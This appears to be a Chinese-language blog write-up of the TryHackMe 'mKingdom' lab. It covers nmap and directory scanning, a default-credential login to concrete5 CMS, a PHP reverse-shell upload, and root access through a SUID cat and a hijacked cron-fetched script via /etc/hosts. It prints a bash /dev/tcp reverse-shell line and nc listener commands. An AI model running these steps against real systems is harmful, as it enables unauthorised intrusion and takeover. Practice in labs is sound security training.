TryHackMe | mKingdom | Writeup

mKingdom

获得立足点

首先使用 nmap 对于目标机器扫描开放的端口情况,发现只有 85 端口开放了

到浏览器查看一下这个端口开放了些什么,同时也查看了源代码,发现没啥提示,接下来就是扫描网站的路径了

使用 dirsearch 进行扫描,发现了 app 这个路径

进入 app,点击之后跳转到这个 app/castle 目录下,然后在这个页面有好几个可以点击的连接,发现都是在这个目录下,所以选择对于这个目录继续进行进一步的扫描

在这个页面最下面可以看到这是使用了 concrete5 CMS,在源代码的 meta 标签中也有使用的 CMS 的版本,可以去漏洞库查询有没有对应版本的漏洞可以利用

这里选择使用 gobuster 的 dir 模式进行扫描,发现了四个目录

这个四个目录,concrete 中是一堆源码,结合 robots.txt 和 application,发现这个目录下也是一堆源码

最后先尝试登录页面,本来打算使用 hydra 不过由于登录中存在 token,只能手动尝试几个密码

发现 admin:password可以登录进去

登录进入,看到 files 这个是一个可以上传文件的地方,不过看见大多数上传的都是图片,担心可能存在后缀的过滤

不过在 setting 中看到可以添加上传文件的后缀,就添加了 php 后缀,然后就可以上传 php 文件来反弹 shell 了

这里使用 php 文件 (在 kali 中的/user/share/webshells/php/php-reverse-shell.php 复制了一份,注意要改到自己的 IP 地址和端口号),然后本地来使用 nc -lnvp [port]进行监听,就能拿到目标机器的立足点了

权限提升

拿到 shell 之后首先就是需要获得一个更加稳定的 shell, 具体的操作可以看这篇文章吧

https://www.cnblogs.com/sainet/p/15783539.html

//shell中运行命令
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
//使用ctrl+Z,回到主机
stty raw -echo; fg

然后这里我先使用 linpeas.sh(使用 python -m http.server [port]打开一个主机的文件服务器,然后目标机器可以使用 wget 去下载这个文件) 查看一下这台机器的信息,发现 suid 文件 cat,这里的身份是 toad,那么我们可以读取到 toad 的所有文件

这里使用/bin/cat 读取了 toad 用户的 .bashrc 文件(/usr/toad/.bashrc),在这里发现了一个环境变量,好像是一个 base64 编码的密码,解码之后尝试登录了用户 toad 和 mario,发现可以登录到 mario 的账户

这里再 mario 的家目录下,我们找到了第一个 flag


然后继续运行 linpeas.sh,看看还有什么信息

发现我们可以 mario 的用户组可以更改 hosts 文件,不过暂时也没什么用处

后面就是使用 pspy64 (https://github.com/DominicBreuker/pspy)这个工具来查看当前运行的进程,发现 root 用户每分钟都会下载远程 shell 脚本,然后运行,将结果添加到日志文件中,如果这个 shell 脚本可以由我们自己控制,我们就可以在里面写入我们自己的脚本,然后就可以反弹到 root 权限的 shell 了

先在本地创建对应的目录然后在目录下写入 counter.sh 文件

bash -c 'bash -i >& /dev/tcp/[IP_address]/[port] 0>&1'

然后先更改/etc/hosts 文件

然后本地打开 85 端口,注意端口号小于 1024 要使用 sudo 权限,同时注意,打开的路径下一定要有/app/castle/application/counter.sh 文件

然后根据文件的使用端口号,再使用 nc -lnvp [port]来进行监听,就可以拿到 root 权限了

最后的 flag 就在 root 目录下,使用 cat 没拿到,可能是因为没有稳定 shell,所以使用 less 这个命令来拿到 flag


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值